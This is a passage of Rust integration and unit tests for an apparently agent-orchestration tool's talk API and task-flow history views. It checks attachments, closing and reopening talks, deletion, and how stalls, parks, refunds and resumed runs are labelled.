15790 &format!("/api/talks/{id}/attachments"),
15791 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15792 PNG_BYTES,
15793 )
15794 .await;
15795 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15796 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15797
15798 let res = f
15799 .post(
15800 &format!("/api/talks/{id}/say"),
15801 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15802 )
15803 .await;
15804 assert_eq!(res.status, 202, "{}", res.body);
15805 let queued = res.json();
15806 let turns = queued["turns"].as_array().expect("turns array");
15807 assert_eq!(
15808 turns.len(),
15809 1,
15810 "an empty body with an attachment is still a turn: {queued}"
15811 );
15812 assert_eq!(turns[0]["who"], "operator");
15813 assert_eq!(turns[0]["body"], "");
15814 let atts = turns[0]["attachments"]
15815 .as_array()
15816 .expect("attachments array");
15817 assert_eq!(atts.len(), 1);
15818 assert_eq!(atts[0]["id"], att_id);
15819 assert_eq!(atts[0]["mime"], "image/png");
15820
15821 let on_disk = f.talks().get(&id).expect("get");
15824 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15825 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15826 }
15827
15828 #[tokio::test]
15829 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15830 let f = Fixture::start().await;
15831 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15832
15833 let res = f
15834 .post(
15835 &format!("/api/talks/{id}/say"),
15836 Some(&format!(
15837 r#"{{"text":"hi","attachments":["{}"]}}"#,
15838 "a".repeat(32)
15839 )),
15840 )
15841 .await;
15842 assert!((400..500).contains(&res.status), "{}", res.body);
15843 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15844
15845 let on_disk = f.talks().get(&id).expect("get");
15846 assert!(
15847 on_disk.turns.is_empty(),
15848 "a rejected attachment id must not partially record the turn: {:?}",
15849 on_disk.turns
15850 );
15851 }
15852
15853 #[tokio::test]
15854 async fn talk_close_makes_the_talk_refuse_further_turns() {
15855 let f = Fixture::start().await;
15856 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15857
15858 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15859 assert_eq!(closed.status, 200, "{}", closed.body);
15860 assert_eq!(closed.json()["status"], "closed");
15861
15862 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15864 assert_eq!(closed_again.status, 200);
15865 assert_eq!(closed_again.json()["status"], "closed");
15866
15867 let said = f
15868 .post(
15869 &format!("/api/talks/{id}/say"),
15870 Some(r#"{"text":"too late"}"#),
15871 )
15872 .await;
15873 assert_eq!(said.status, 409, "{}", said.body);
15874 }
15875
15876 #[tokio::test]
15877 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15878 let (_tmp, _repo, f) = talk_fixture().await;
15879 let id = f.post("/api/talks", None).await.json()["id"]
15880 .as_str()
15881 .expect("id")
15882 .to_owned();
15883 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15884 assert_eq!(closed.status, 200, "{}", closed.body);
15885
15886 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15887 assert_eq!(reopened.status, 200, "{}", reopened.body);
15888 assert_eq!(reopened.json()["status"], "open");
15889
15890 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15892 assert_eq!(reopened_again.status, 200);
15893 assert_eq!(reopened_again.json()["status"], "open");
15894
15895 let said = f
15896 .post(
15897 &format!("/api/talks/{id}/say"),
15898 Some(r#"{"text":"still there?"}"#),
15899 )
15900 .await;
15901 assert_eq!(
15902 said.status, 202,
15903 "a reopened talk accepts turns again: {}",
15904 said.body
15905 );
15906 }
15907
15908 #[tokio::test]
15909 async fn talk_reopen_on_an_unknown_id_is_404() {
15910 let f = Fixture::start().await;
15911 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15912 assert_eq!(res.status, 404, "{}", res.body);
15913 }
15914
15915 #[tokio::test]
15916 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15917 let f = Fixture::start().await;
15918 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15919
15920 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15921 assert_eq!(deleted.status, 204, "{}", deleted.body);
15922
15923 let after = f.get(&format!("/api/talks/{id}")).await;
15924 assert_eq!(after.status, 404, "{}", after.body);
15925
15926 let listed = f.get("/api/talks").await.json();
15927 assert!(
15928 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15929 "a deleted talk must not linger in the list: {listed}"
15930 );
15931 }
15932
15933 #[tokio::test]
15934 async fn talk_delete_on_an_unknown_id_is_404() {
15935 let f = Fixture::start().await;
15936 let res = f.delete("/api/talks/nonexistent-id").await;
15937 assert_eq!(res.status, 404, "{}", res.body);
15938 }
15939
15940 #[tokio::test]
15944 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15945 let f = Fixture::start().await;
15946 let (a, b, gone) = (
15947 "20260902-140501-aaaa",
15948 "20260902-140502-bbbb",
15949 "20260902-140503-cccc",
15950 );
15951 write_run(&f.runs(), a, RunStatus::Stalled);
15952 let mut review = RunState::new(
15953 PathBuf::from("/repo/magi"),
15954 "main".to_owned(),
15955 "0123456789abcdef".to_owned(),
15956 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15957 .to_owned(),
15958 Config::default(),
15959 );
15960 review.id = b.to_owned();
15961 review.status = RunStatus::Merged;
15962 write_state(&f.runs(), &review);
15963
15964 let mut task = Task::new(
15965 "retry".to_owned(),
15966 "Do the thing".to_owned(),
15967 PathBuf::from("/repo/magi"),
15968 Source::Human,
15969 );
15970 task.start(a.to_owned());
15971 task.stall("quota");
15972 task.start(a.to_owned());
15973 task.start(b.to_owned());
15974 task.start(gone.to_owned());
15975 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15977 f.queue().put(&mut task).expect("file the task");
15978
15979 let res = f.get(&format!("/api/queue/{}", task.id)).await;
15980 assert_eq!(res.status, 200, "{}", res.body);
15981 let v = res.json();
15982 let h = v["history"].as_array().expect("history");
15983 assert_eq!(h.len(), 4, "{v}");
15984 assert_eq!(h[0]["kind"], "competition");
15985 assert_eq!(h[0]["status"], "stalled");
15986 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
15987 assert_eq!(h[1]["kind"], "resume", "{v}");
15988 assert!(
15989 h[0]["outcome"]
15990 .as_str()
15991 .unwrap()
15992 .contains("unknown. Pass #2"),
15993 "an earlier pass of a resumed run must not claim the final outcome: {v}"
15994 );
15995 assert!(
15996 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
15997 "{v}"
15998 );
15999 assert!(
16000 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16001 "an unrecorded cause must not be narrated as an operator park: {v}"
16002 );
16003 assert_eq!(h[2]["kind"], "review");
16004 assert!(
16005 h[2]["description"]
16006 .as_str()
16007 .unwrap()
16008 .contains("magi/aaaa/A")
16009 );
16010 assert_eq!(h[2]["status"], "merged");
16011 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16012 assert_eq!(v["runs_unreadable"], 1);
16013 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16014 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16015 assert_eq!(nodes[4]["note"], "unreadable");
16016 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16017 assert_eq!(v["instruction"], "Do the thing");
16018 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16019
16020 let run = f.get(&format!("/api/runs/{a}")).await.json();
16022 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16023
16024 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16025 }
16026
16027 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16028 let mut s = RunState::new(
16029 PathBuf::from("/repo/magi"),
16030 "main".to_owned(),
16031 "0123456789abcdef".to_owned(),
16032 "Do it".to_owned(),
16033 Config::default(),
16034 );
16035 s.status = status;
16036 edit(&mut s);
16037 s
16038 }
16039
16040 fn flow_task(runs: &[&str]) -> Task {
16041 let mut t = Task::new(
16042 "t".to_owned(),
16043 "Do it".to_owned(),
16044 PathBuf::from("/repo/magi"),
16045 Source::Human,
16046 );
16047 for r in runs {
16048 t.start((*r).to_owned());
16049 }
16050 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16052 t
16053 }
16054
16055 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16056 let h = task_history(task, |id| {
16057 states
16058 .iter()
16059 .find(|(i, _)| *i == id)
16060 .and_then(|(_, s)| s.clone())
16061 });
16062 task_flow(task, &h, 5, None)
16063 }
16064
16065 #[test]
16066 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16067 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16068 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16069 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16070 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16071 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16072 let run = flow_run(RunStatus::Implementing, |s| {
16073 s.created_at = created;
16074 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16075 s.passes[0].started_at = first;
16076 s.passes[1].started_at = resumed;
16077 });
16078 let mut task = flow_task(&[RUN_X, RUN_X]);
16079 task.created_at = queued;
16080 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16081 task.status = TaskStatus::Held;
16082 task.held_at = Some(held);
16083 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16084 assert_eq!(
16085 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16086 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16087 );
16088 assert!(flow.nodes.iter().all(|n| n.time_expected));
16089 let json = serde_json::to_value(&flow).unwrap();
16090 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16091 assert_eq!(json["nodes"][2]["time_expected"], true);
16092 }
16093
16094 #[test]
16095 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16096 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16097 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16098 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16099 task.held_at = Some(created);
16101 task.blocked_at = Some(created);
16102 for status in [
16103 TaskStatus::Queued,
16104 TaskStatus::Running,
16105 TaskStatus::Blocked,
16106 TaskStatus::Done,
16107 TaskStatus::Failed,
16108 TaskStatus::Parked,
16109 TaskStatus::Held,
16110 ] {
16111 task.status = status;
16112 if status == TaskStatus::Held {
16113 task.held_at = None;
16114 }
16115 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16116 assert_eq!(flow.nodes[1].started_at, Some(created));
16117 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16118 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16119 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16120 let json = serde_json::to_value(&flow).unwrap();
16121 assert!(json["nodes"][3]["started_at"].is_null());
16122 assert_eq!(json["nodes"][3]["time_expected"], true);
16123 }
16124 }
16125
16126 #[test]
16127 fn flow_context_links_do_not_expect_start_times() {
16128 let mut task = flow_task(&[]);
16129 task.source = Source::Agent {
16130 run: "chat-id".to_owned(),
16131 node: "chat".to_owned(),
16132 };
16133 let origin = followup_origin(&fu(None), |_| None, |_| None);
16134 let flow = task_flow(&task, &[], 5, Some(&origin));
16135 for node in &flow.nodes[..2] {
16136 assert!(!node.time_expected);
16137 assert_eq!(node.started_at, None);
16138 }
16139 assert!(flow.nodes[2].time_expected);
16140 }
16141
16142 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16143 crate::queue::FollowUp {
16144 run: "20260901-000000-aaaa".to_owned(),
16145 origin_task: origin_task.map(str::to_owned),
16146 pr: "https://example.com/o/r/pull/1".to_owned(),
16147 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16148 .map(str::to_owned)
16149 .to_vec(),
16150 generation: 1,
16151 }
16152 }
16153
16154 fn parent_task() -> Task {
16155 let mut p = flow_task(&[]);
16156 p.title = "Parent title".to_owned();
16157 p.status = TaskStatus::Done;
16158 p
16159 }
16160
16161 #[test]
16162 fn flow_opens_with_the_parent_task_of_a_followup() {
16163 let p = parent_task();
16164 let pid = p.id.clone();
16165 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16166 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16167 let n = &f.nodes[0];
16168 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16169 assert_eq!(
16170 n.label,
16171 format!("Follow-up of {}", crate::queue::short(&pid))
16172 );
16173 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16174 assert_eq!(n.status, Some("done"));
16175 assert_eq!(n.status_of, "task");
16176 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16177 assert_eq!(f.nodes[1].key, "start");
16178 assert_eq!(f.edges[0].from, "origin");
16179 assert_eq!(
16180 f.edges[0].label,
16181 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16182 );
16183 }
16184
16185 #[test]
16186 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16187 let o = followup_origin(
16188 &fu(Some("gone")),
16189 |_| None,
16190 |_| {
16191 Some(RunState::new(
16192 std::path::PathBuf::from("."),
16193 "main".to_owned(),
16194 "0".to_owned(),
16195 "t".to_owned(),
16196 crate::config::Config::default(),
16197 ))
16198 },
16199 );
16200 assert!(o.parent.is_none());
16201 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16202 let n = &f.nodes[0];
16203 assert_eq!(n.status_of, "run");
16204 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16205 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16206 }
16207
16208 #[test]
16209 fn flow_followup_with_nothing_readable_has_no_link() {
16210 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16211 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16212 let n = &f.nodes[0];
16213 assert_eq!(n.href, None);
16214 assert_eq!(n.note, Some("unreadable"));
16215 assert!(!n.readable);
16216 }
16217
16218 #[test]
16219 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16220 let o = followup_origin(&fu(None), |_| None, |_| None);
16221 let mut t = flow_task(&[]);
16222 t.origin_chat = Some("c1".to_owned());
16223 let f = task_flow(&t, &[], 5, Some(&o));
16224 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16225 t.source = Source::Agent {
16226 run: "c1".to_owned(),
16227 node: crate::queue::CHAT_NODE.to_owned(),
16228 };
16229 let f = task_flow(&t, &[], 5, Some(&o));
16230 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16231 assert_eq!(
16232 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16233 ("chat", "origin")
16234 );
16235 }
16236
16237 #[test]
16238 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16239 let mut p = parent_task();
16240 p.id = "a b/c".to_owned();
16241 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16242 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16243 }
16244
16245 #[test]
16246 fn flow_opens_with_the_chat_that_queued_the_task() {
16247 let mut t = flow_task(&[]);
16248 t.source = Source::Agent {
16249 run: "a b/c".to_owned(),
16250 node: crate::queue::CHAT_NODE.to_owned(),
16251 };
16252 let f = flow_for(&t, &[]);
16253 assert_eq!(f.nodes[0].key, "chat");
16254 assert_eq!(f.nodes[0].kind, "chat");
16255 assert_eq!(
16256 f.nodes[0].label,
16257 format!("Chat {}", crate::queue::short("a b/c"))
16258 );
16259 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16260 assert_eq!(f.nodes[1].key, "start");
16261 assert_eq!(
16262 f.edges[0],
16263 FlowEdge {
16264 from: "chat".to_owned(),
16265 to: "start".to_owned(),
16266 label: "queued from chat".to_owned(),
16267 attempt: AttemptCost::None,
16268 }
16269 );
16270 }
16271
16272 #[test]
16273 fn flow_has_no_chat_box_for_other_sources() {
16274 for source in [
16275 Source::Human,
16276 Source::Issue {
16277 number: 3,
16278 repo: "o/r".to_owned(),
16279 },
16280 Source::Agent {
16281 run: "20260904-014455-ab12".to_owned(),
16282 node: "implement".to_owned(),
16283 },
16284 ] {
16285 let mut t = flow_task(&[]);
16286 t.source = source;
16287 let f = flow_for(&t, &[]);
16288 assert_eq!(f.nodes[0].key, "start");
16289 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16290 assert!(f.edges.iter().all(|e| e.from != "chat"));
16291 }
16292 }
16293
16294 const FA: &str = "20260902-140501-aaaa";
16295 const FB: &str = "20260902-140502-bbbb";
16296
16297 #[test]
16298 fn flow_follows_blocked_retry_merged_to_done() {
16299 let mut t = flow_task(&[FA, FB]);
16300 t.status = TaskStatus::Done;
16301 let f = flow_for(
16302 &t,
16303 &[
16304 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16305 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16306 ],
16307 );
16308 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16309 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16310 assert_eq!(f.edges.len(), 3);
16311 assert_eq!(f.edges[0].label, "claimed");
16312 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16313 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16314 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16315 assert_eq!(
16316 f.nodes[2].href.as_deref(),
16317 Some("#/runs/20260902-140502-bbbb")
16318 );
16319 assert!(f.nodes[2].decided);
16320 }
16321
16322 #[test]
16323 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16324 let quota = || {
16325 flow_run(RunStatus::Stalled, |s| {
16326 s.quota.push(crate::run::QuotaLoss {
16327 seat: "judge-1".to_owned(),
16328 node: "judge".to_owned(),
16329 at: Timestamp::now(),
16330 reset: None,
16331 })
16332 })
16333 };
16334 let mut t = flow_task(&[FA, FA]);
16335 t.status = TaskStatus::Queued;
16336 let f = flow_for(&t, &[(FA, Some(quota()))]);
16337 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16338 assert_eq!(f.nodes[1].note, Some("interrupted"));
16339 assert_eq!(
16340 f.nodes[1].status, None,
16341 "no outcome copied onto an earlier pass"
16342 );
16343 assert_eq!(
16344 f.edges[1].attempt,
16345 AttemptCost::Unknown,
16346 "a resume does not prove the earlier pass was refunded"
16347 );
16348 assert!(f.edges[1].label.contains("resume the same run"));
16349 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16350 assert_eq!(
16351 f.edges[2].label,
16352 "stalled after a resume, refund unknown \u{2192} queued"
16353 );
16354 assert!(!f.nodes[2].decided, "a stall is not a decision");
16355 assert_eq!(f.nodes[2].note, Some("no verdict"));
16356 }
16357
16358 #[test]
16359 fn flow_single_pass_quota_stall_is_refunded() {
16360 let t = flow_task(&[FA]);
16361 let f = flow_for(
16362 &t,
16363 &[(
16364 FA,
16365 Some(flow_run(RunStatus::Stalled, |s| {
16366 s.quota.push(crate::run::QuotaLoss {
16367 seat: "judge-1".to_owned(),
16368 node: "judge".to_owned(),
16369 at: Timestamp::now(),
16370 reset: None,
16371 })
16372 })),
16373 )],
16374 );
16375 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16376 }
16377
16378 #[test]
16379 fn flow_parked_refunds_and_stall_without_quota_spends() {
16380 let mut t = flow_task(&[FA]);
16381 t.status = TaskStatus::Queued;
16382 let f = flow_for(
16383 &t,
16384 &[(
16385 FA,
16386 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16387 )],
16388 );
16389 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16390 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16391 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16392 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16393 assert!(!f.nodes[1].decided);
16394 }
16395
16396 #[test]
16397 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16398 let t = flow_task(&[FA, FB]);
16399 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16400 assert_eq!(f.nodes[1].note, Some("unreadable"));
16401 assert!(!f.nodes[1].readable);
16402 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16403 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16404 }
16405
16406 #[test]
16407 fn flow_names_the_branch_of_a_review_only_run() {
16408 let t = flow_task(&[FA]);
16409 let f = flow_for(
16410 &t,
16411 &[(
16412 FA,
16413 Some(flow_run(RunStatus::Merged, |s| {
16414 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16415 })),
16416 )],
16417 );
16418 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16419 assert_eq!(
16420 f.nodes[1].detail.as_deref(),
16421 Some("review-only run of branch magi/x/A")
16422 );
16423 }
16424
16425 #[test]
16426 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16427 let mut t = flow_task(&[FA]);
16428 t.status = TaskStatus::Held;
16429 let pr = crate::run::PrRecord {
16430 url: "https://example.test/pr/1".to_owned(),
16431 number: 1,
16432 state: "open".to_owned(),
16433 checks: "green".to_owned(),
16434 round: 0,
16435 rounds: 3,
16436 red_at_merge: Vec::new(),
16437 };
16438 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16439 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16440 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16441 t.status = TaskStatus::Done;
16442 let f = flow_for(&t, &[(FA, Some(blocked))]);
16443 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16444 }
16445
16446 #[test]
16447 fn flow_with_no_runs_goes_from_queued_to_queued() {
16448 let t = flow_task(&[]);
16449 let f = flow_for(&t, &[]);
16450 assert_eq!(f.nodes.len(), 2);
16451 assert_eq!(f.edges.len(), 1);
16452 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16453 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16454 }
16455
16456 #[test]
16459 fn a_parked_non_terminal_run_is_explained_as_parked() {
16460 let mut s = RunState::new(
16461 PathBuf::from("/repo/magi"),
16462 "main".to_owned(),
16463 "0123456789abcdef".to_owned(),
16464 "Do it".to_owned(),
16465 Config::default(),
16466 );
16467 s.status = RunStatus::Implementing;
16468 s.parked = true;
16469 let task = Task::new(
16470 "t".to_owned(),
16471 "Do it".to_owned(),
16472 PathBuf::from("/repo/magi"),
16473 Source::Human,
16474 );
16475 let v = task_run_view(
16476 "20260902-140501-aaaa",
16477 Some(&s),
16478 RunSlot {
16479 n: 1,
16480 resumed: false,
16481 resumed_later: None,
16482 prior: None,
16483 last: true,
16484 ..RunSlot::default()
16485 },
16486 &task,
16487 );
16488 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16489 }
16490
16491 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16492 let mut s = flow_run(RunStatus::Implementing, edit);
16493 s.parked = false;
16494 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16495 task_run_view(
16496 "20260902-140501-aaaa",
16497 Some(&s),
16498 RunSlot {
16499 n: 1,
16500 resumed: false,
16501 resumed_later: Some(2),
16502 prior: None,
16503 last: false,
16504 ..RunSlot::default()
16505 },
16506 &task,
16507 )
16508 }
16509
16510 #[test]
16511 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16512 let v = earlier_pass_view(|_| {});
16513 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16514 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16515 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16516 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16517 assert_eq!(v.exit, RunExit::Interrupted);
16518 assert_eq!(v.attempt, AttemptCost::Unknown);
16519 }
16520
16521 #[test]
16522 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16523 let v = earlier_pass_view(|s| {
16524 s.quota.push(crate::run::QuotaLoss {
16525 seat: "judge-1".to_owned(),
16526 node: "judge".to_owned(),
16527 at: Timestamp::now(),
16528 reset: None,
16529 });
16530 });
16531 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16532 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16533 assert_eq!(v.attempt, AttemptCost::Unknown);
16534 }
16535
16536 #[test]
16537 fn the_current_pass_states_its_recorded_cause_and_cost() {
16538 let slot = || RunSlot {
16539 n: 1,
16540 resumed: false,
16541 resumed_later: None,
16542 prior: None,
16543 last: true,
16544 ..RunSlot::default()
16545 };
16546 let task = flow_task(&["20260902-140501-aaaa"]);
16547 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16548 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16549 assert_eq!(
16550 (v.exit, v.attempt),
16551 (RunExit::Parked, AttemptCost::Refunded)
16552 );
16553 let spent = flow_run(RunStatus::Blocked, |_| {});
16554 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16555 assert_eq!(v.attempt, AttemptCost::Spent);
16556 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16557 }
16558
16559 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16560 crate::run::RunPass {
16561 index,
16562 started_at: Timestamp::now(),
16563 resumed: index > 0,
16564 ended_at: end.as_ref().map(|_| Timestamp::now()),
16565 end,
16566 task_entry: true,
16567 }
16568 }
16569
16570 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16571 Some(crate::run::PassEnd::Parked { cause })
16572 }
16573
16574 fn upgrade_cause() -> crate::run::ParkCause {
16575 crate::run::ParkCause::Upgrade {
16576 from: "0.121.0".to_owned(),
16577 to: Some("0.121.1".to_owned()),
16578 }
16579 }
16580
16581 fn settled_pass(
16582 run: &str,
16583 index: usize,
16584 cost: crate::queue::PassCost,
16585 ) -> crate::queue::TaskPass {
16586 crate::queue::TaskPass {
16587 run: run.to_owned(),
16588 pass_index: index,
16589 started_at: None,
16590 cost,
16591 attempts_after: 1,
16592 settled_at: Timestamp::now(),
16593 parked: None,
16594 }
16595 }
16596
16597 const RUN_X: &str = "20261011-223708-4334";
16598
16599 #[test]
16600 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16601 use crate::queue::PassCost;
16602 let run = flow_run(RunStatus::Implementing, |s| {
16603 s.passes = vec![
16604 recorded_pass(0, parked(upgrade_cause())),
16605 recorded_pass(1, None),
16606 ];
16607 });
16608 let mut task = flow_task(&[RUN_X, RUN_X]);
16609 task.attempts = 1;
16610 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16611 let h = task_history(&task, |_| Some(run.clone()));
16612 assert_eq!(h.len(), 2);
16613 assert_eq!(h[0].kind, "competition");
16614 assert_eq!(h[1].kind, "resume");
16615 assert_eq!(
16616 (h[0].exit, h[0].attempt),
16617 (RunExit::Parked, AttemptCost::Refunded)
16618 );
16619 assert!(
16620 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16621 "{}",
16622 h[0].outcome
16623 );
16624 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16625 assert!(
16626 h[0].outcome.contains("pass #2 resumed the same run"),
16627 "{}",
16628 h[0].outcome
16629 );
16630 assert!(
16631 h[0].outcome.contains("pass 1 of 2 over run"),
16632 "{}",
16633 h[0].outcome
16634 );
16635 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16636 assert_eq!(
16637 h[0].exit_label,
16638 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16639 );
16640 let f = task_flow(&task, &h, 2, None);
16641 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16643 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16644 assert!(
16645 f.edges[1].label.contains("upgrade 0.121.0"),
16646 "{}",
16647 f.edges[1].label
16648 );
16649 assert!(
16650 f.edges[1].label.contains("resume the same run"),
16651 "{}",
16652 f.edges[1].label
16653 );
16654 assert_eq!(f.nodes[1].note, Some("parked"));
16655 }
16656
16657 #[test]
16658 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16659 let mut a = flow_run(RunStatus::Implementing, |s| {
16660 s.passes = vec![
16661 recorded_pass(0, parked(upgrade_cause())),
16662 recorded_pass(1, None),
16663 ];
16664 });
16665 let mut b = flow_run(RunStatus::Failed, |s| {
16666 s.passes = vec![recorded_pass(0, None)];
16667 });
16668 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16669 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16670 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16671 let mut task = flow_task(&[]);
16672 task.start("a".into());
16673 task.start("b".into());
16674 task.start("a".into());
16675 assert_eq!(task.runs, ["b", "a"]);
16676 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16677 let h = task_history(&task, |id| {
